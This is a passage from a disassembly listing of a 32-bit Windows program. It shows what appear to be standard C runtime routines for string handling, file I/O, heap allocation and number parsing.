					; sub_41B9C0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41B9E0
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41BA31
		test	ah, ah
		jz	short loc_41BA27
		test	eax, 0FF0000h
		jz	short loc_41BA1D
		test	eax, 0FF000000h
		jz	short loc_41BA13
		jmp	short loc_41B9E0
; ---------------------------------------------------------------------------


loc_41BA13:				; CODE XREF: sub_41B9C0+11j
					; sub_41B9C0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41BA1D:				; CODE XREF: sub_41B9C0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41BA27:				; CODE XREF: sub_41B9C0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41BA31:				; CODE XREF: sub_41B9C0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_41B9C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BA3B	proc near		; CODE XREF: sub_4010AB+64p
					; sub_401ACD+5809p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_41BA50
		or	eax, 0FFFFFFFFh
		jmp	short loc_41BA8A
; ---------------------------------------------------------------------------


loc_41BA50:				; CODE XREF: sub_41BA3B+Ej
		test	al, 83h
		jz	short loc_41BA88
		push	esi
		call	sub_41E42B
		push	esi
		mov	edi, eax
		call	sub_41E3C5
		push	dword ptr [esi+10h]
		call	sub_41E312
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41BA76
		or	edi, 0FFFFFFFFh
		jmp	short loc_41BA88
; ---------------------------------------------------------------------------


loc_41BA76:				; CODE XREF: sub_41BA3B+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_41BA88
		push	eax
		call	sub_41BA91
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_41BA88:				; CODE XREF: sub_41BA3B+17j
					; sub_41BA3B+39j ...
		mov	eax, edi


loc_41BA8A:				; CODE XREF: sub_41BA3B+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_41BA3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BA91	proc near		; CODE XREF: sub_4010AB+5Ep
					; sub_40A928+B1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_41BAF7
		mov	eax, dword_4DD388
		cmp	eax, 3
		jnz	short loc_41BABD
		push	esi
		call	sub_41E717
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_41BAE9
		push	eax
		call	sub_41E742
		pop	ecx
		pop	ecx
		jmp	short loc_41BAF7
; ---------------------------------------------------------------------------


loc_41BABD:				; CODE XREF: sub_41BA91+14j
		cmp	eax, 2
		jnz	short loc_41BAE8
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_41F472
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41BAE8
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_41F4C9
		add	esp, 0Ch
		jmp	short loc_41BAF7
; ---------------------------------------------------------------------------


loc_41BAE8:				; CODE XREF: sub_41BA91+2Fj
					; sub_41BA91+44j
		push	esi


loc_41BAE9:				; CODE XREF: sub_41BA91+20j
		push	0
		push	dword_4DD384
		call	near ptr 27D0000h
		nop


loc_41BAF7:				; CODE XREF: sub_41BA91+Aj
					; sub_41BA91+2Aj ...
		pop	esi
		leave
		retn
sub_41BA91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BAFA	proc near		; CODE XREF: sub_4010AB+45p
					; ___:0040FA8Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_41BB1E
		xor	eax, eax
		jmp	loc_41BBC7
; ---------------------------------------------------------------------------


loc_41BB1E:				; CODE XREF: sub_41BAFA+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41BB31
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41BB3D
; ---------------------------------------------------------------------------


loc_41BB31:				; CODE XREF: sub_41BAFA+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_41BB3D
; ---------------------------------------------------------------------------


loc_41BB3A:				; CODE XREF: sub_41BAFA+C4j
		mov	ecx, [ebp+arg_0]


loc_41BB3D:				; CODE XREF: sub_41BAFA+35j
					; sub_41BAFA+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41BB6F
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41BB6F
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_41BB54
		mov	edi, eax


loc_41BB54:				; CODE XREF: sub_41BAFA+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_41CD20
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_41BBBA
; ---------------------------------------------------------------------------


loc_41BB6F:				; CODE XREF: sub_41BAFA+49j
					; sub_41BAFA+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_41BBA2
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_41BB85
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_41BB85:				; CODE XREF: sub_41BAFA+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41F9BC
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41BBCC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41BBD2
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_41BBBA
; ---------------------------------------------------------------------------


loc_41BBA2:				; CODE XREF: sub_41BAFA+78j
		push	esi
		call	sub_41F8E3
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41BBD6
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_41BBBA:				; CODE XREF: sub_41BAFA+73j
					; sub_41BAFA+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_41BB3A
		mov	eax, [ebp+arg_8]


loc_41BBC7:				; CODE XREF: sub_41BAFA+1Fj
					; sub_41BAFA+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41BBCC:				; CODE XREF: sub_41BAFA+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_41BBD6
; ---------------------------------------------------------------------------


loc_41BBD2:				; CODE XREF: sub_41BAFA+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_41BBD6:				; CODE XREF: sub_41BAFA+B2j
					; sub_41BAFA+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_41BBC7
sub_41BAFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BBE2	proc near		; CODE XREF: sub_4010AB+2Ep
					; sub_41D9B3+35p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41BBFD
		push	[ebp+arg_4]
		call	sub_41BEB5
		pop	ecx
		jmp	loc_41BE7D
; ---------------------------------------------------------------------------


loc_41BBFD:				; CODE XREF: sub_41BBE2+Bj
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_41BC12
		push	[ebp+arg_0]
		call	sub_41BA91
		pop	ecx
		jmp	loc_41BE7B
; ---------------------------------------------------------------------------


loc_41BC12:				; CODE XREF: sub_41BBE2+20j
		mov	eax, dword_4DD388
		cmp	eax, 3
		jnz	loc_41BD22


loc_41BC20:				; CODE XREF: sub_41BBE2+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41BCFE
		push	[ebp+arg_0]
		call	sub_41E717
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_41BCD9
		cmp	esi, dword_4DD380
		ja	short loc_41BC92
		mov	edi, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41EF20
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41BC8E
		push	esi
		call	sub_41EA6B
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41BC92
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41BC72
		mov	eax, esi


loc_41BC72:				; CODE XREF: sub_41BBE2+8Cj
		push	eax
		push	ebx
		push	edi
		call	sub_41CD20
		push	ebx
		call	sub_41E717
		push	[ebp+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41E742
		add	esp, 18h


loc_41BC8E:				; CODE XREF: sub_41BBE2+74j
		test	edi, edi
		jnz	short loc_41BCD5


loc_41BC92:				; CODE XREF: sub_41BBE2+62j
					; sub_41BBE2+81j
		test	esi, esi
		jnz	short loc_41BC99
		push	1
		pop	esi


loc_41BC99:				; CODE XREF: sub_41BBE2+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_4DD384
		nop
		call	near ptr 27E0000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_41BCD5
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41BCC1
		mov	eax, esi


loc_41BCC1:				; CODE XREF: sub_41BBE2+DBj
		push	eax
		push	ecx
		push	edi
		call	sub_41CD20
		push	[ebp+arg_0]
		push	ebx
		call	sub_41E742
		add	esp, 14h


loc_41BCD5:				; CODE XREF: sub_41BBE2+AEj
					; sub_41BBE2+D0j
		test	ebx, ebx
		jnz	short loc_41BCFA


loc_41BCD9:				; CODE XREF: sub_41BBE2+56j
		test	esi, esi
		jnz	short loc_41BCE0
		push	1
		pop	esi


loc_41BCE0:				; CODE XREF: sub_41BBE2+F9j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DD384
		nop
		call	near ptr 2870000h
		mov	edi, eax


loc_41BCFA:				; CODE XREF: sub_41BBE2+F5j
		test	edi, edi
		jnz	short loc_41BD1B


loc_41BCFE:				; CODE XREF: sub_41BBE2+43j
		cmp	dword_4DBE48, 0
		jz	short loc_41BD1B
		push	esi
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jnz	loc_41BC20
		jmp	loc_41BE7B
; ---------------------------------------------------------------------------


loc_41BD1B:				; CODE XREF: sub_41BBE2+11Aj
					; sub_41BBE2+123j ...
		mov	eax, edi
		jmp	loc_41BE7D
; ---------------------------------------------------------------------------


loc_41BD22:				; CODE XREF: sub_41BBE2+38j
		cmp	eax, 2
		jnz	loc_41BE3D
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41BD3F
		test	esi, esi
		jbe	short loc_41BD3C
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_41BD3F
; ---------------------------------------------------------------------------


loc_41BD3C:				; CODE XREF: sub_41BBE2+150j
		push	10h
		pop	esi


loc_41BD3F:				; CODE XREF: sub_41BBE2+14Cj
					; sub_41BBE2+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41BE1F
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_41F472
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_41BE03
		cmp	esi, dword_43CE74
		jnb	short loc_41BDC7
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41F83A
		add	esp, 10h
		test	eax, eax
		jz	short loc_41BD8D
		mov	edi, [ebp+arg_0]
		jmp	short loc_41BDBF
; ---------------------------------------------------------------------------


loc_41BD8D:				; CODE XREF: sub_41BBE2+1A4j
		push	edi
		call	sub_41F50E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41BDC7
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41BDA6
		mov	eax, esi


loc_41BDA6:				; CODE XREF: sub_41BBE2+1C0j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41CD20
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41F4C9
		add	esp, 18h


loc_41BDBF:				; CODE XREF: sub_41BBE2+1A9j
		test	edi, edi
		jnz	loc_41BD1B


loc_41BDC7:				; CODE XREF: sub_41BBE2+18Bj
					; sub_41BBE2+1B6j
		push	esi
		push	0
		push	dword_4DD384
		call	near ptr 27E0000h
		nop
		mov	edi, eax
		test	edi, edi
		jz	short loc_41BE1F
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41BDE8
		mov	eax, esi


loc_41BDE8:				; CODE XREF: sub_41BBE2+202j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41CD20
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41F4C9
		add	esp, 18h
		jmp	short loc_41BE17
; ---------------------------------------------------------------------------


loc_41BE03:				; CODE XREF: sub_41BBE2+17Fj
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DD384
		nop
		call	near ptr 2870000h
		mov	edi, eax


loc_41BE17:				; CODE XREF: sub_41BBE2+21Fj
		test	edi, edi
		jnz	loc_41BD1B


loc_41BE1F:				; CODE XREF: sub_41BBE2+162j
					; sub_41BBE2+1F8j
		cmp	dword_4DBE48, 0
		jz	loc_41BD1B
		push	esi
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jnz	loc_41BD3F
		jmp	short loc_41BE7B
; ---------------------------------------------------------------------------


loc_41BE3D:				; CODE XREF: sub_41BBE2+143j
					; sub_41BBE2+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41BE67
		test	esi, esi
		jnz	short loc_41BE4B
		push	1
		pop	esi


loc_41BE4B:				; CODE XREF: sub_41BBE2+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DD384
		call	near ptr 2870000h
		nop
		test	eax, eax
		jnz	short loc_41BE7D


loc_41BE67:				; CODE XREF: sub_41BBE2+260j
		cmp	dword_4DBE48, 0
		jz	short loc_41BE7D
		push	esi
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jnz	short loc_41BE3D


loc_41BE7B:				; CODE XREF: sub_41BBE2+2Bj
					; sub_41BBE2+134j ...
		xor	eax, eax


loc_41BE7D:				; CODE XREF: sub_41BBE2+16j
					; sub_41BBE2+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BBE2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BE82	proc near		; CODE XREF: sub_41BEA2+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41FD3D
		test	eax, eax
		jnz	short loc_41BE8C
		retn
; ---------------------------------------------------------------------------


loc_41BE8C:				; CODE XREF: sub_41BE82+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41FBCD
		add	esp, 10h
		retn
sub_41BE82	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEA2	proc near		; CODE XREF: sub_4010AB+18p
					; sub_401ACD+57DDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41BE82
		add	esp, 0Ch
		retn
sub_41BEA2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEB5	proc near		; CODE XREF: sub_4010AB+6p
					; sub_40A928+63p ...

arg_0		= dword	ptr  4

		push	dword_4DBE48
		push	[esp+4+arg_0]
		call	sub_41BEC7
		pop	ecx
		pop	ecx
		retn
sub_41BEB5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEC7	proc near		; CODE XREF: sub_41BEB5+Ap
					; sub_41D9A5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_41BEF0


loc_41BECE:				; CODE XREF: sub_41BEC7+27j
		push	[esp+arg_0]
		call	sub_41BEF3
		test	eax, eax
		pop	ecx
		jnz	short locret_41BEF2
		cmp	[esp+arg_4], eax
		jz	short locret_41BEF2
		push	[esp+arg_0]
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jnz	short loc_41BECE


loc_41BEF0:				; CODE XREF: sub_41BEC7+5j
		xor	eax, eax

locret_41BEF2:				; CODE XREF: sub_41BEC7+13j
					; sub_41BEC7+19j
		retn
sub_41BEC7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEF3	proc near		; CODE XREF: sub_41BEC7+Bp

arg_0		= dword	ptr  4

		mov	eax, dword_4DD388
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_41BF17
		cmp	esi, dword_4DD380
		ja	short loc_41BF49
		push	esi
		call	sub_41EA6B
		test	eax, eax
		pop	ecx
		jz	short loc_41BF49
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41BF17:				; CODE XREF: sub_41BEF3+Dj
		cmp	eax, 2
		jnz	short loc_41BF49
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_41BF2C
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_41BF2F
; ---------------------------------------------------------------------------


loc_41BF2C:				; CODE XREF: sub_41BEF3+2Fj
		push	10h
		pop	esi


loc_41BF2F:				; CODE XREF: sub_41BEF3+37j
		cmp	esi, dword_43CE74
		ja	short loc_41BF56
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41F50E
		test	eax, eax
		pop	ecx
		jnz	short loc_41BF65
		jmp	short loc_41BF56
; ---------------------------------------------------------------------------


loc_41BF49:				; CODE XREF: sub_41BEF3+15j
					; sub_41BEF3+20j ...
		test	esi, esi
		jnz	short loc_41BF50
		push	1
		pop	esi


loc_41BF50:				; CODE XREF: sub_41BEF3+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_41BF56:				; CODE XREF: sub_41BEF3+42j
					; sub_41BEF3+54j
		push	esi
		push	0
		push	dword_4DD384
		call	near ptr 27E0000h
		nop


loc_41BF65:				; CODE XREF: sub_41BEF3+52j
		pop	esi
		retn
sub_41BEF3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BF70	proc near		; CODE XREF: sub_40111D+3Cp
					; sub_40111D+4Ap ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_41BFC3
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_41BFB7
		neg	ecx
		and	ecx, 3
		jz	short loc_41BF99
		sub	edx, ecx


loc_41BF93:				; CODE XREF: sub_41BF70+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_41BF93


loc_41BF99:				; CODE XREF: sub_41BF70+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_41BFB7
		rep stosd
		test	edx, edx
		jz	short loc_41BFBD


loc_41BFB7:				; CODE XREF: sub_41BF70+18j
					; sub_41BF70+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_41BFB7


loc_41BFBD:				; CODE XREF: sub_41BF70+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BFC3:				; CODE XREF: sub_41BF70+Aj
		mov	eax, [esp+arg_0]
		retn
sub_41BF70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BFD0	proc near		; CODE XREF: ___:004016C0p
					; ___:004016DCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_41C053
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_41BFF4
		shr	ecx, 2
		jnz	short loc_41C061
		jmp	short loc_41C015
; ---------------------------------------------------------------------------


loc_41BFF4:				; CODE XREF: sub_41BFD0+1Bj
					; sub_41BFD0+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_41C022
		test	al, al
		jz	short loc_41C02A
		test	esi, 3
		jnz	short loc_41BFF4
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C061


loc_41C010:				; CODE XREF: sub_41BFD0+8Fj
		and	ebx, 3
		jz	short loc_41C022


loc_41C015:				; CODE XREF: sub_41BFD0+22j
					; sub_41BFD0+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_41C04E
		dec	ebx
		jnz	short loc_41C015


loc_41C022:				; CODE XREF: sub_41BFD0+2Bj
					; sub_41BFD0+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C02A:				; CODE XREF: sub_41BFD0+2Fj
		test	edi, 3
		jz	short loc_41C044


loc_41C032:				; CODE XREF: sub_41BFD0+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_41C0C6
		test	edi, 3
		jnz	short loc_41C032


loc_41C044:				; CODE XREF: sub_41BFD0+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C0B7


loc_41C04B:				; CODE XREF: sub_41BFD0+7Fj
					; sub_41BFD0+F4j
		mov	[edi], al
		inc	edi


loc_41C04E:				; CODE XREF: sub_41BFD0+4Dj
		dec	ebx
		jnz	short loc_41C04B
		pop	ebx
		pop	esi


loc_41C053:				; CODE XREF: sub_41BFD0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C059:				; CODE XREF: sub_41BFD0+A9j
					; sub_41BFD0+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41C010


loc_41C061:				; CODE XREF: sub_41BFD0+20j
					; sub_41BFD0+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41C059
		test	dl, dl
		jz	short loc_41C0AB
		test	dh, dh
		jz	short loc_41C0A1
		test	edx, 0FF0000h
		jz	short loc_41C097
		test	edx, 0FF000000h
		jnz	short loc_41C059
		mov	[edi], edx
		jmp	short loc_41C0AF
; ---------------------------------------------------------------------------


loc_41C097:				; CODE XREF: sub_41BFD0+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_41C0AF
; ---------------------------------------------------------------------------


loc_41C0A1:				; CODE XREF: sub_41BFD0+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_41C0AF
; ---------------------------------------------------------------------------


loc_41C0AB:				; CODE XREF: sub_41BFD0+ADj
		xor	edx, edx
		mov	[edi], edx


loc_41C0AF:				; CODE XREF: sub_41BFD0+C5j
					; sub_41BFD0+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_41C0C1


loc_41C0B7:				; CODE XREF: sub_41BFD0+79j
		xor	eax, eax


loc_41C0B9:				; CODE XREF: sub_41BFD0+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_41C0B9


loc_41C0C1:				; CODE XREF: sub_41BFD0+E5j
		and	ebx, 3
		jnz	short loc_41C04B


loc_41C0C6:				; CODE XREF: sub_41BFD0+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41BFD0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C0CE	proc near		; CODE XREF: sub_41C159+4p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_41C0D6:				; CODE XREF: sub_41C0CE+34j
		cmp	dword_43D084, 1
		jle	short loc_41C0EE
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C0FD
; ---------------------------------------------------------------------------


loc_41C0EE:				; CODE XREF: sub_41C0CE+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_43CE78
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41C0FD:				; CODE XREF: sub_41C0CE+1Ej
		test	eax, eax
		jz	short loc_41C104
		inc	edi
		jmp	short loc_41C0D6
; ---------------------------------------------------------------------------


loc_41C104:				; CODE XREF: sub_41C0CE+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_41C114
		cmp	esi, 2Bh
		jnz	short loc_41C118


loc_41C114:				; CODE XREF: sub_41C0CE+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_41C118:				; CODE XREF: sub_41C0CE+44j
		xor	ebx, ebx


loc_41C11A:				; CODE XREF: sub_41C0CE+7Bj
		cmp	dword_43D084, 1
		jle	short loc_41C12F
		push	4
		push	esi
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C13A
; ---------------------------------------------------------------------------


loc_41C12F:				; CODE XREF: sub_41C0CE+53j
		mov	eax, off_43CE78
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41C13A:				; CODE XREF: sub_41C0CE+5Fj
		test	eax, eax
		jz	short loc_41C14B
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_41C11A
; ---------------------------------------------------------------------------


loc_41C14B:				; CODE XREF: sub_41C0CE+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41C154
		neg	eax


loc_41C154:				; CODE XREF: sub_41C0CE+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41C0CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C159	proc near		; CODE XREF: ___:00401527p
					; sub_401ACD+717p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41C0CE
		pop	ecx
		retn
sub_41C159	endp

; ---------------------------------------------------------------------------
		mov	eax, off_43AE1C
		test	eax, eax
		jz	short loc_41C16F
		call	eax ; sub_41D124


loc_41C16F:				; CODE XREF: ___:0041C16Bj
		push	offset dword_429028
		push	offset dword_429014
		call	sub_41C24C
		push	offset dword_429010
		push	offset dword_429000
		call	sub_41C24C
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		push	0
		push	0
		push	dword ptr [esp+0Ch]
		call	sub_41C1B3
		add	esp, 0Ch
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41C1A2	proc near		; CODE XREF: sub_41E2C9+1Cp
					; sub_422DFC+21E6p ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_41C1B3
		add	esp, 0Ch
		retn
sub_41C1A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C1B3	proc near		; CODE XREF: ___:0041C199p
					; sub_41C1A2+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_4DBE24, edi
		jnz	short loc_41C1D0
		push	[esp+4+arg_0]
		call	near ptr 273094Dh
		nop
		push	eax
		call	near ptr 2730250h
		nop


loc_41C1D0:				; CODE XREF: sub_41C1B3+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_4DBE20, edi
		mov	byte_4DBE1C, bl
		jnz	short loc_41C224
		mov	eax, dword_4DD39C
		test	eax, eax
		jz	short loc_41C213
		mov	ecx, dword_4DD398
